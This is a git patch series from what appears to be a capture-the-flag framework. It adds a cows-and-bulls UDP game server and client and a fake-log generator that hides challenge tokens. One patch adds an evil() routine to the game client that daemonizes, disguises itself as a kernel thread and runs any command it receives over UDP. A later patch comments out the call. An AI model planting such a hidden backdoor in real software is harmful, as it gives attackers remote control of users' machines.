From 8c3805fccc31803a5b7417d565b3ab87ee9904be Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Wed, 18 Jan 2012 21:40:56 -0700 Subject: [PATCH 01/14] Start at cows and bulls game --- packages/cowbull/src/Makefile | 1 + packages/cowbull/src/cowd.c | 60 +++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+) create mode 100644 packages/cowbull/src/Makefile create mode 100644 packages/cowbull/src/cowd.c diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile new file mode 100644 index 0000000..9ecb73b --- /dev/null +++ b/packages/cowbull/src/Makefile @@ -0,0 +1 @@ +cowd: diff --git a/packages/cowbull/src/cowd.c b/packages/cowbull/src/cowd.c new file mode 100644 index 0000000..14dfed7 --- /dev/null +++ b/packages/cowbull/src/cowd.c @@ -0,0 +1,60 @@ +#include +#include + +void +mungle(char *str, int len) +{ + int i; + + for (i = 0; i < len; i += 1) { + str[i] ^= 0xff; + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int i; + + { + struct timeval tv; + + gettimeofday(&tv, NULL); + srandom(tv.tv_usec); + } + + for (i = 0; i < 4; i += 1) { + answer = (answer << 4) | ((random() % 6) + 1); + } + + while (1) { + char line[20]; + long guess; + int ret = 0; + + if (NULL == fgets(line, sizeof(line), stdin)) { + break; + } + + guess = strtol(line, NULL, 16); + + for (i = 0; i < 4; i += 1) { + int g = (guess >> (i*4)) & 0xf; + int a = (answer >> (i*4)) & 0xf; + + if ((g < 1) || (g > 7)) { + ret = 0; + break; + } else if (g == a) { + ret += 0x10; + } else if (g & a) { + ret += 0x01; + } + } + + printf("%02x\n", ret); + } + + return 0; +} From c2fd1107c8bbde1829ce89c26fda3880f82b2bd4 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Jan 2012 16:30:04 -0700 Subject: [PATCH 02/14] cowd which runs --- packages/cowbull/src/cow.txt | 58 ++++++++++ packages/cowbull/src/cowd.c | 204 ++++++++++++++++++++++++++++------- 2 files changed, 226 insertions(+), 36 deletions(-) create mode 100644 packages/cowbull/src/cow.txt diff --git a/packages/cowbull/src/cow.txt b/packages/cowbull/src/cow.txt new file mode 100644 index 0000000..cceaca7 --- /dev/null +++ b/packages/cowbull/src/cow.txt @@ -0,0 +1,58 @@ +The Cow Game +============ + +You are trying to guess a 4-nybble sequence. Each nybble will have +either 1 or 2 bits set, and the highest bit will never be set. The +game server will tell you how many nybbles in each guess were correct, +and how many had one correct bit. It does not tell you which +positions + + + +The Cow Client +============== + +The client connects to the Cow server running on the IPv6 address +provided in argument 1. If argument 2 is present, the client will +try to run it, providing stdin and stdout as in interactive mode. + +In interactive mode (no argument 2), the client reads a guess in the +form of 4 ASCII numerals, and prints the number of correct nybbles +followed by the number of nybbles with one correct bit. + +Here is an example of a session: + + 1111 + 12 + 2222 + 10 + 4444 + 02 + 4244 + 12 + 1244 + 22 + 1255 + cow:xylep-radar-nanox + + + +The Cow Protocol +================ + +cowd runs on port 3782. + +The client always sends 6 octets. To request a new session, it sends +all zeroes. Otherwise it sends the 4-octet game identifier provided +by the server, concatenated with a 2-octet guess. + +The server will respond with a new game identifier (4 octets) to a new +game request or if the game requested is too old. If a guess is +incorrect, the server will respond with either a 1-octet score in +which the high nybble is the number of correct nybbles in the guess, +and the low nybble is the number of nybbles in the guess with one +correct bit. If a guess is correct, the server will respond with a +token of length 5 octets or more. + +There are multiple tokens, one per number of guesses used, up to +some maximum number of guesses defined per server instance. diff --git a/packages/cowbull/src/cowd.c b/packages/cowbull/src/cowd.c index 14dfed7..33cc22d 100644 --- a/packages/cowbull/src/cowd.c +++ b/packages/cowbull/src/cowd.c @@ -1,27 +1,183 @@ #include -#include +#include +#include +#include +#include +#include +#include +#include + +#define TIMEOUT 30 + +#define NTOKENS 20 +#define TOKENLEN 50 +char tokens[NTOKENS][TOKENLEN]; +int ntokens; + +struct state { + time_t death; + uint16_t answer; + uint16_t guesses; +}; + +#define NSTATES 500 +struct state states[NSTATES] = { 0 }; + +int +bind_port(struct in6_addr *addr, int fd, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + + +struct newgame { + uint16_t offset; + uint16_t token; +}; void -mungle(char *str, int len) +new_game(int sock, time_t now, struct sockaddr_in6 *from, + socklen_t fromlen) { - int i; + int i; + struct newgame g; - for (i = 0; i < len; i += 1) { - str[i] ^= 0xff; + for (g.offset = 0; g.offset < NSTATES; g.offset += 1) { + struct state *s = &states[g.offset]; + + if (s->death < now) { + s->death = now + TIMEOUT; + s->guesses = 0; + s->answer = 0; + + for (i = 0; i < 4; i += 1) { + s->answer = (s->answer << 4) | ((random() % 6) + 1); + } + break; + } + } + + if (g.offset < NSTATES) { + sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen); + } +} + +struct guess { + uint16_t offset; + uint16_t token; + uint16_t guess; +}; + +void +loop(int sock) +{ + struct guess g; + struct state *cur; + struct sockaddr_in6 from; + socklen_t fromlen = sizeof from; + time_t now = time(NULL); + + /* + * Read guess + */ + { + ssize_t inlen; + + inlen = recvfrom(sock, &g, sizeof g, 0, + (struct sockaddr *) &from, &fromlen); + if (inlen != sizeof g) { + return; + } + } + + /* + * Bounds check + */ + if (g.offset >= NSTATES) { + g.offset = 0; + } + cur = &states[g.offset]; + + if ((g.token != cur->answer) || /* Wrong token? */ + (cur->death < now) || /* Old game? */ + (cur->guesses++ > 100)) { /* Too dumb? */ + /* + * Start a new game + */ + new_game(sock, now, &from, fromlen); + return; + } else { + uint8_t reply; + int i; + + for (i = 0; i < 4; i += 1) { + int s = (g.guess >> (i * 4)) & 0xf; + int a = (cur->answer >> (i * 4)) & 0xf; + if ((s < 1) || (s > 7)) { + reply = 0; + break; + } else if (s == a) { + reply += 0x10; + } else if (s & a) { + reply += 0x01; + } + } + + if (reply == 0x40) { + if (cur->guesses > ntokens) { + sendto(sock, tokens[cur->guesses], + strlen(tokens[cur->guesses]), 0, + (struct sockaddr *) &from, fromlen); + } + } else { + sendto(sock, &reply, sizeof reply, 0, (struct sockaddr *) &from, + fromlen); + } } } int main(int argc, char *argv[]) { - long answer = 0; - int i; + long answer = 0; + int sock; + int i; + struct in6_addr addr; - { - struct timeval tv; + srand(time(NULL)); - gettimeofday(&tv, NULL); - srandom(tv.tv_usec); + if (argc > 1) { + if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { + fprintf(stderr, "invalid address: %s\n", argv[1]); + return EX_IOERR; + } + } else { + memcpy(&addr, &in6addr_any, sizeof addr); + } + + /* + * Read in tokens + */ + for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) { + if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) { + break; + } + } + printf("Read %d tokens.\n", ntokens); + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + i = bind_port(&addr, sock, 3782); + if (-1 == i) { + perror("Bind port 3782"); + return EX_IOERR; } for (i = 0; i < 4; i += 1) { @@ -29,31 +185,7 @@ main(int argc, char *argv[]) } while (1) { - char line[20]; - long guess; - int ret = 0; - - if (NULL == fgets(line, sizeof(line), stdin)) { - break; - } - - guess = strtol(line, NULL, 16); - - for (i = 0; i < 4; i += 1) { - int g = (guess >> (i*4)) & 0xf; - int a = (answer >> (i*4)) & 0xf; - - if ((g < 1) || (g > 7)) { - ret = 0; - break; - } else if (g == a) { - ret += 0x10; - } else if (g & a) { - ret += 0x01; - } - } - - printf("%02x\n", ret); + loop(sock); } return 0; From 318aa637dd3043728feb367dbb9551104a2c4011 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Jan 2012 22:06:14 -0700 Subject: [PATCH 03/14] Add nascent cowcli --- packages/cowbull/src/Makefile | 2 +- packages/cowbull/src/cowcli.c | 128 ++++++++++++++++++++++++++++++++++ 2 files changed, 129 insertions(+), 1 deletion(-) create mode 100644 packages/cowbull/src/cowcli.c diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile index 9ecb73b..8c26186 100644 --- a/packages/cowbull/src/Makefile +++ b/packages/cowbull/src/Makefile @@ -1 +1 @@ -cowd: +all: cowd cowcli diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c new file mode 100644 index 0000000..308aeb4 --- /dev/null +++ b/packages/cowbull/src/cowcli.c @@ -0,0 +1,128 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int +bind_port(int fd, const struct in6_addr *addr, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + +void +sigchld(int unused) +{ + while (0 < waitpid(-1, NULL, WNOHANG)); +} + +void +evil(char *argv[]) +{ + int sock; + + if (fork()) { + return; + } + + /* Fork again to reparent to init */ + if (fork()) { + exit(0); + } + + { + int r = open("/dev/null", O_RDONLY); + int w = open("/dev/null", O_WRONLY); + + dup2(r, 0); + dup2(w, 1); + dup2(w, 2); + close(r); + close(w); + } + + strcpy(argv[0], "[hci1]"); + + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, 3782)) { + exit(0); + } + + while (1) { + char cmd[400]; + ssize_t inlen; + + inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); + if (-1 == inlen) { + continue; + } + + cmd[inlen] = 0; + if (! fork()) { + system(cmd); + exit(0); + } + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int sock; + int i; + struct in6_addr addr; + FILE *in; + FILE *out; + + srand(time(NULL)); + + if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { + fprintf(stderr, "invalid address: %s\n", argv[1]); + return EX_IOERR; + } + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } + + signal(SIGCHLD, sigchld); + evil(argv); + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + + while (1) { + char line[20]; + long guess; + + /* XXX: only do this if we have a game ID */ + if (NULL == fgets(line, sizeof line, in)) { + break; + } + + guess = strtol(line, NULL, 16); + /* send the guess */ + /* read the result */ + /* parse result */ + /* display result */ + } + + return 0; +} From 4ffd4b732f83c19f0c938118d796df448ef2640c Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 19 Jan 2012 22:13:44 -0700 Subject: [PATCH 04/14] Bind cowcli to low port --- packages/cowbull/src/cowcli.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c index 308aeb4..1c37afd 100644 --- a/packages/cowbull/src/cowcli.c +++ b/packages/cowbull/src/cowcli.c @@ -11,6 +11,8 @@ #include #include +#define DEBUG + int bind_port(int fd, const struct in6_addr *addr, uint16_t port) { @@ -107,6 +109,12 @@ main(int argc, char *argv[]) * Set up socket */ sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, 44)) { + perror("Binding UDP port 44"); +#ifndef DEBUG + return EX_IOERR; +#endif + } while (1) { char line[20]; From 442698044150e6dc3d2e6651feb45c65b1e30768 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 20 Jan 2012 17:02:07 -0700 Subject: [PATCH 05/14] work on cowcli --- packages/cowbull/src/cowcli.c | 73 ++- packages/logger/logger.mk | 20 + packages/logger/service/logger/finish | 4 + packages/logger/service/logger/ip.txt | 1 + packages/logger/service/logger/log/run | 3 + packages/logger/service/logger/run | 6 + packages/logger/src/COPYING | 20 + packages/logger/src/Makefile | 14 + packages/logger/src/arc4.c | 1 + packages/logger/src/arc4.h | 1 + packages/logger/src/logger.c | 652 ++++++++++++++++++++ packages/logger/src/token.c | 1 + packages/logger/src/token.h | 1 + packages/logger/tokens/logger0/category | 1 + packages/logger/tokens/logger0/category.key | 1 + packages/logger/tokens/logger0/enc.key | 1 + packages/logger/tokens/logger1/category | 1 + packages/logger/tokens/logger1/category.key | 1 + packages/logger/tokens/logger1/enc.key | 1 + packages/logger/tokens/logger2/category | 1 + packages/logger/tokens/logger2/category.key | 1 + packages/logger/tokens/logger2/enc.key | 1 + 22 files changed, 787 insertions(+), 19 deletions(-) create mode 100644 packages/logger/logger.mk create mode 100755 packages/logger/service/logger/finish create mode 100644 packages/logger/service/logger/ip.txt create mode 100755 packages/logger/service/logger/log/run create mode 100755 packages/logger/service/logger/run create mode 100644 packages/logger/src/COPYING create mode 100644 packages/logger/src/Makefile create mode 120000 packages/logger/src/arc4.c create mode 120000 packages/logger/src/arc4.h create mode 100644 packages/logger/src/logger.c create mode 120000 packages/logger/src/token.c create mode 120000 packages/logger/src/token.h create mode 100644 packages/logger/tokens/logger0/category create mode 100644 packages/logger/tokens/logger0/category.key create mode 100644 packages/logger/tokens/logger0/enc.key create mode 100644 packages/logger/tokens/logger1/category create mode 100644 packages/logger/tokens/logger1/category.key create mode 100644 packages/logger/tokens/logger1/enc.key create mode 100644 packages/logger/tokens/logger2/category create mode 100644 packages/logger/tokens/logger2/category.key create mode 100644 packages/logger/tokens/logger2/enc.key diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c index 1c37afd..9832445 100644 --- a/packages/cowbull/src/cowcli.c +++ b/packages/cowbull/src/cowcli.c @@ -11,6 +11,7 @@ #include #include + #define DEBUG int @@ -86,24 +87,17 @@ main(int argc, char *argv[]) int sock; int i; struct in6_addr addr; - FILE *in; - FILE *out; + uint32_t token = 0; + FILE *in, *out; srand(time(NULL)); + signal(SIGCHLD, sigchld); + if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { fprintf(stderr, "invalid address: %s\n", argv[1]); return EX_IOERR; } - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - signal(SIGCHLD, sigchld); - evil(argv); /* * Set up socket @@ -116,18 +110,59 @@ main(int argc, char *argv[]) #endif } - while (1) { - char line[20]; - long guess; + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } - /* XXX: only do this if we have a game ID */ - if (NULL == fgets(line, sizeof line, in)) { - break; + //evil(argv); + + while (1) { + long guess; + struct { + uint32_t token; + uint16_t guess; + } g; + + g.token = token; + if (token) { + char line[20]; + + if (NULL == fgets(line, sizeof line, in)) { + break; + } + g.guess = strtol(line, NULL, 16); + } else { + g.guess = 0; + } + + /* Send the guess */ + if (-1 == sendto(sock, &g, sizeof g, 0, &addr, sizeof addr)) { + perror("Sending packet"); + return EX_IOERR; } - guess = strtol(line, NULL, 16); - /* send the guess */ /* read the result */ + { + char buf[80]; + ssize_t len; + + len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); + switch (len) { + case -1: + perror("Reading packet"); + return EX_IOERR; + case 1: + /* It's a score */ + case 4: + /* New game token */ + default: + /* You win: this is your CTF token */ + } + } + /* parse result */ /* display result */ } diff --git a/packages/logger/logger.mk b/packages/logger/logger.mk new file mode 100644 index 0000000..14f251c --- /dev/null +++ b/packages/logger/logger.mk @@ -0,0 +1,20 @@ +LOGGER_PKGDIR = $(TARGET)/logger + +logger-install: logger-build + mkdir -p $(LOGGER_PKGDIR) + + mkdir -p $(LOGGER_PKGDIR)/bin/ + $(MAKE) -C packages/logger/src install DESTDIR=$(CURDIR)/$(LOGGER_PKGDIR) + + $(call COPYTREE, packages/logger/tokens, $(LOGGER_PKGDIR)/tokens) + + $(call COPYTREE, packages/logger/service, $(LOGGER_PKGDIR)/service) + +logger-clean: + rm -rf $(LOGGER_PKGDIR) + $(MAKE) -C packages/logger/src clean + +logger-build: + $(MAKE) -C packages/logger/src build + +PACKAGES += logger diff --git a/packages/logger/service/logger/finish b/packages/logger/service/logger/finish new file mode 100755 index 0000000..6317f74 --- /dev/null +++ b/packages/logger/service/logger/finish @@ -0,0 +1,4 @@ +#! /bin/sh + +IP=$(cat ip.txt) +ip addr del $IP dev eth0 diff --git a/packages/logger/service/logger/ip.txt b/packages/logger/service/logger/ip.txt new file mode 100644 index 0000000..9777f24 --- /dev/null +++ b/packages/logger/service/logger/ip.txt @@ -0,0 +1 @@ +fd84:b410:3441::07a6/64 diff --git a/packages/logger/service/logger/log/run b/packages/logger/service/logger/log/run new file mode 100755 index 0000000..1e7bd9d --- /dev/null +++ b/packages/logger/service/logger/log/run @@ -0,0 +1,3 @@ +#! /bin/sh + +exec svlogd -tt $PWD diff --git a/packages/logger/service/logger/run b/packages/logger/service/logger/run new file mode 100755 index 0000000..2e36c15 --- /dev/null +++ b/packages/logger/service/logger/run @@ -0,0 +1,6 @@ +#! /bin/sh -e + +exec 2>&1 +IP=$(cat ip.txt) +ip addr add $IP label eth0:logger dev eth0 +exec tcpsvd ${IP%/*} 1958 /opt/logger/bin/logger diff --git a/packages/logger/src/COPYING b/packages/logger/src/COPYING new file mode 100644 index 0000000..5f6471e --- /dev/null +++ b/packages/logger/src/COPYING @@ -0,0 +1,20 @@ +Base64 code was taken from +http://cvs.savannah.gnu.org/viewvc/*checkout*/gnulib/gnulib/lib/base64.c?revision=HEAD + +/* base64.c -- Encode binary data using printable characters. + Copyright (C) 1999, 2000, 2001, 2004, 2005, 2006 Free Software + Foundation, Inc. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software Foundation, + Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ diff --git a/packages/logger/src/Makefile b/packages/logger/src/Makefile new file mode 100644 index 0000000..f895c85 --- /dev/null +++ b/packages/logger/src/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -Werror +LDFLAGS = -static +TARGETS = logger + +all: build +build: $(TARGETS) + +logger: logger.o arc4.o token.o + +install: $(TARGETS) + install -m 0755 $(TARGETS) $(DESTDIR)/bin + +clean: + rm -f *.o $(TARGETS) diff --git a/packages/logger/src/arc4.c b/packages/logger/src/arc4.c new file mode 120000 index 0000000..4dcde89 --- /dev/null +++ b/packages/logger/src/arc4.c @@ -0,0 +1 @@ +../../../src/arc4.c \ No newline at end of file diff --git a/packages/logger/src/arc4.h b/packages/logger/src/arc4.h new file mode 120000 index 0000000..a5d8c7a --- /dev/null +++ b/packages/logger/src/arc4.h @@ -0,0 +1 @@ +../../../src/arc4.h \ No newline at end of file diff --git a/packages/logger/src/logger.c b/packages/logger/src/logger.c new file mode 100644 index 0000000..2d47b88 --- /dev/null +++ b/packages/logger/src/logger.c @@ -0,0 +1,652 @@ +/** logger.c - generate fake log messages (part of dirtbags CTF) + * + * Author: Neale Pickett + * + * This software has been authored by an employee or employees of Los + * Alamos National Security, LLC, operator of the Los Alamos National + * Laboratory (LANL) under Contract No. DE-AC52-06NA25396 with the + * U.S. Department of Energy. The U.S. Government has rights to use, + * reproduce, and distribute this software. The public may copy, + * distribute, prepare derivative works and publicly display this + * software without charge, provided that this Notice and any statement + * of authorship are reproduced on all copies. Neither the Government + * nor LANS makes any warranty, express or implied, or assumes any + * liability or responsibility for the use of this software. If + * software is modified to produce derivative works, such modified + * software should be clearly marked, so as not to confuse it with the + * version available from LANL. + */ + + +#include +#include +#include +#include +#include + +#ifdef STANDALONE +# define TOKEN_MAX 50 +#else +# include "token.h" +#endif + +#define PID_MAX 32768 +#define QSIZE 200 +#define MSGS_PER_SEC_MIN 10 +#define MSGS_PER_SEC_MAX 40 + +const uint8_t key[] = {0x99, 0xeb, 0xc0, 0xce, + 0xe0, 0xc9, 0xed, 0x5b, + 0xbd, 0xc8, 0xb5, 0xfd, + 0xdd, 0x0b, 0x03, 0x10}; + +/* Storage space for tokens */ +char token[3][TOKEN_MAX]; + +void +read_tokens() +{ + int i; + ssize_t len; + char name[40]; + + for (i = 0; i < sizeof(token)/sizeof(*token); i += 1) { +#ifdef STANDALONE + strcpy(token[i], "logger:xylep-donut-nanox"); +#else + /* This can't grow beyond 40. Think about it. */ + sprintf(name, "logger%d", i); + + len = get_token(token[i], sizeof(token[i]), name, key, sizeof(key)); + if ((-1 == len) || (len >= sizeof(token[i]))) abort(); + token[i][len] = '\0'; +#endif + } +} + + +/* + * Base 64 (GPL: see COPYING) + */ + +/* C89 compliant way to cast 'char' to 'unsigned char'. */ +static inline unsigned char +to_uchar (char ch) +{ + return ch; +} + +/* Base64 encode IN array of size INLEN into OUT array of size OUTLEN. + If OUTLEN is less than BASE64_LENGTH(INLEN), write as many bytes as + possible. If OUTLEN is larger than BASE64_LENGTH(INLEN), also zero + terminate the output buffer. */ +void +base64_encode (const char *in, size_t inlen, + char *out, size_t outlen) +{ + static const char b64str[64] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + while (inlen && outlen) { + *out++ = b64str[(to_uchar(in[0]) >> 2) & 0x3f]; + if (!--outlen) + break; + *out++ = b64str[((to_uchar(in[0]) << 4) + + (--inlen ? to_uchar(in[1]) >> 4 : 0)) + & 0x3f]; + if (!--outlen) + break; + *out++ = (inlen + ? b64str[((to_uchar(in[1]) << 2) + + (--inlen ? to_uchar(in[2]) >> 6 : 0)) + & 0x3f] + : '='); + if (!--outlen) + break; + *out++ = inlen ? b64str[to_uchar(in[2]) & 0x3f] : '='; + if (!--outlen) + break; + if (inlen) + inlen--; + if (inlen) + in += 3; + } + + if (outlen) + *out = '\0'; +} + + +/* + * Bubble Babble + */ +char const consonants[] = "bcdfghklmnprstvz"; +char const vowels[] = "aeiouy"; + +#define bubblebabble_len(n) (6*(((n)/2)+1)) + +/** Compute bubble babble for input buffer. + * + * The generated output will be of length 6*((inlen/2)+1), including the + * trailing NULL. + * + * Test vectors: + * `' (empty string) `xexax' + * `1234567890' `xesef-disof-gytuf-katof-movif-baxux' + * `Pineapple' `xigak-nyryk-humil-bosek-sonax' + */ +void +bubblebabble(unsigned char *out, + unsigned char const *in, + const size_t inlen) +{ + size_t pos = 0; + int seed = 1; + size_t i = 0; + + out[pos++] = 'x'; + while (1) { + unsigned char c; + + if (i == inlen) { + out[pos++] = vowels[seed % 6]; + out[pos++] = 'x'; + out[pos++] = vowels[seed / 6]; + break; + } + + c = in[i++]; + out[pos++] = vowels[(((c >> 6) & 3) + seed) % 6]; + out[pos++] = consonants[(c >> 2) & 15]; + out[pos++] = vowels[((c & 3) + (seed / 6)) % 6]; + if (i == inlen) { + break; + } + seed = ((seed * 5) + (c * 7) + in[i]) % 36; + + c = in[i++]; + out[pos++] = consonants[(c >> 4) & 15]; + out[pos++] = '-'; + out[pos++] = consonants[c & 15]; + } + + out[pos++] = 'x'; + out[pos] = '\0'; +} + + + +int +randint(int max) +{ + return random() % max; +} + +#define itokenlen 5 + +char const * +bogus_token() +{ + static char token[TOKEN_MAX]; + unsigned char crap[itokenlen]; + unsigned char digest[bubblebabble_len(itokenlen)]; + int i; + + for (i = 0; i < sizeof(crap); i += 1 ) { + crap[i] = (unsigned char)randint(256); + } + bubblebabble(digest, (unsigned char *)&crap, itokenlen); + snprintf(token, sizeof(token), "bogus:%s", digest); + token[sizeof(token) - 1] = '\0'; + + return token; +} + +#define choice(a) (a[randint(sizeof(a)/sizeof(*a))]) + +char const *users[] = {"alice", "bob", "carol", "dave", + "eve", "fran", "gordon", + "isaac", "justin", "mallory", + "oscar", "pat", "steve", + "trent", "vanna", "walter", "zoe"}; + + +char const * +user() +{ + return choice(users); +} + +char const *filenames[] = {"about", "request", "page", "buttons", + "images", "overview"}; +char const *extensions[] = {"html", "htm", "jpg", "png", "css", "cgi"}; +char const *fields[] = {"q", "s", "search", "id", "req", "oid", "pmt", + "u", "page", "xxnp", "stat", "jk", "ttb", + "access", "domain", "needle", "service", "client"}; +char const *values[] = {"1", "turnip", "chupacabra", "58", "identify", + "parthenon", "jellyfish", "pullman", "auth", + "xa4Jmwl", "cornmeal", "ribbon", "49299248", + "javaWidget", "crashdump", "priority", + "blogosphere"}; + +char const * +url() +{ + static char url[200]; + int i, parts; + + strcpy(url, "/"); + + parts = randint(4); + for (i = 0; i < parts; i += 1) { + if (i > 0) { + strcat(url, "/"); + } + strcat(url, choice(filenames)); + } + + if (randint(5) > 1) { + if (i > 0) { + strcat(url, "."); + strcat(url, choice(extensions)); + } + } else { + parts = randint(8) + 1; + for (i = 0; i < parts; i += 1) { + if (0 == i) { + strcat(url, "?"); + } else { + strcat(url, "&"); + } + strcat(url, choice(fields)); + strcat(url, "="); + strcat(url, choice(values)); + } + } + + return url; +} + + +struct message { + time_t when; + char text[300]; + struct message *next; +}; + +/* Allocate some messages */ +struct message heap[QSIZE]; + +struct message *pool; +struct message *queue; + +struct message * +get_message() +{ + struct message *ret = pool; + + if (pool) { + pool = pool->next; + } + + return ret; +} + +void +free_message(struct message *msg) +{ + if (msg) { + msg->next = pool; + pool = msg; + } +} + +/* Either get count messages, or don't get any at all. */ +int +get_many_messages(struct message **msgs, size_t count) +{ + int i; + + for (i = 0; i < count; i += 1) { + msgs[i] = get_message(); + } + + if (NULL == msgs[i-1]) { + for (i = 0; i < count; i += 1) { + free_message(msgs[i]); + } + return -1; + } + + return 0; +} + +void +enqueue_message(struct message *msg) +{ + struct message *cur; + + /* In some cases, we want msg to be at the head */ + if ((NULL == queue) || (queue->when > msg->when)) { + msg->next = queue; + queue = msg; + return; + } + + /* Find where to stick it */ + for (cur = queue; NULL != cur->next; cur = cur->next) { + if (cur->next->when > msg->when) break; + } + + /* Insert it after cur */ + msg->next = cur->next; + cur->next = msg; +} + +void +enqueue_messages(struct message **msgs, size_t count) +{ + int i; + + for (i = 0; i < count; i += 1) { + enqueue_message(msgs[i]); + } +} + +struct message * +dequeue_message(time_t now) +{ + if ((NULL != queue) && (queue->when <= now)) { + struct message *ret = queue; + + queue = queue->next; + free_message(ret); + return ret; + } + + return NULL; +} + +int +main(int argc, char *argv[]) +{ + int i; + int pid = 52; + time_t then = time(NULL) - 100; /* Assure we get new tokens right away */ + + /* Seed RNG */ + srandom(then); + + /* Initialize free messages */ + { + pool = &(heap[0]); + for (i = 0; i < QSIZE - 1; i += 1) { + heap[i].next = &(heap[i+1]); + } + heap[i].next = NULL; + } + + /* Now let's make some crap! */ + while (! feof(stdout)) { + struct message *msg; + time_t now = time(NULL); + int i, max; + + /* Print messages */ + while ((msg = dequeue_message(now))) { + char ftime[80]; + struct tm *tm; + + tm = gmtime(&msg->when); + if (! tm) { + snprintf(ftime, sizeof(ftime), "%ld", now); + } else { + strftime(ftime, sizeof(ftime), "%b %d %T", tm); + } + printf("%s loghost %s\n", ftime, msg->text); + } + fflush(stdout); + + /* Time for new tokens? */ + if (then + 60 <= now) { + read_tokens(); + then = now; + } + + /* Make some messages */ + max = MSGS_PER_SEC_MIN + randint(MSGS_PER_SEC_MAX - MSGS_PER_SEC_MIN); + + for (i = 0; i < max; i += 1) { + time_t start = now + 1; + struct message *messages[10]; + + /* Increment the PID */ + pid = (pid + 1 + randint(20)) % PID_MAX; + + switch (randint(90)) { + case 0: + /* Internal diagnostic! */ + if (-1 != get_many_messages(messages, 1)) { + int queued, pooled; + struct message *msg; + + for (pooled = 0, msg = pool; + msg; + msg = msg->next, pooled += 1); + /* Start at one because of this message */ + for (queued = 1, msg = queue; + msg; + msg = msg->next, queued += 1); + + messages[0]->when = now; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "DEBUG: %d in pool, %d in queue (%d total)", + pooled, queued, pooled + queued); + enqueue_messages(messages, 1); + } + case 1: + /* Lame-o "token" service */ + if (-1 != get_many_messages(messages, 1)) { + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "tokenserv[%d]: token is %s", + pid, token[0]); + enqueue_messages(messages, 1); + } + /* Always follow this with a couple lines of fluff so it's + not the last thing in a batch */ + max += 2; + break; + case 2: + /* IMAP */ + { + char const *mytoken; + char const *u; + char btoken[TOKEN_MAX * 2]; + + if (randint(5) == 0) { + mytoken = token[1]; + u = "token"; + } else { + mytoken = bogus_token(); + u = user(); + } + base64_encode(mytoken, strlen(mytoken), btoken, sizeof(btoken)); + + if (-1 != get_many_messages(messages, 2)) { + const int offset=15; + + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "imapd[%d]: Login: user=%s method=PLAIN token1=%.*s", + pid, u, offset, btoken); + + messages[1]->when = start + 4 + randint(60); + snprintf(messages[1]->text, sizeof(messages[1]->text), + "imapd[%d]: Disconnected: Logged out token2=%s", + pid, btoken + offset); + + enqueue_messages(messages, 2); + } + } + case 3: + /* IRC */ + if (-1 != get_many_messages(messages, 3)) { + int connection = randint(512); + int port = randint(65536); + + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "ircd: Accepted connection %d from %d.%d.%d.%d:%d on socket %d.", + connection, + randint(256), randint(256), + randint(256), randint(256), + port, + randint(256)); + + messages[1]->when = start + randint(5); + snprintf(messages[1]->text, sizeof(messages[1]->text), + "ircd: User \"%s!~%s@dirtbags.net\" registered (connection %d).", + user(), user(), connection); + + + messages[2]->when = messages[1]->when + randint(600); + snprintf(messages[2]->text, sizeof(messages[2]->text), + "ircd: Shutting down connection %d (Got QUIT command.) with dirtbags.net:%d.", + connection, port); + + enqueue_messages(messages, 3); + } + break; + case 4: + /* cron */ + if (-1 != get_many_messages(messages, 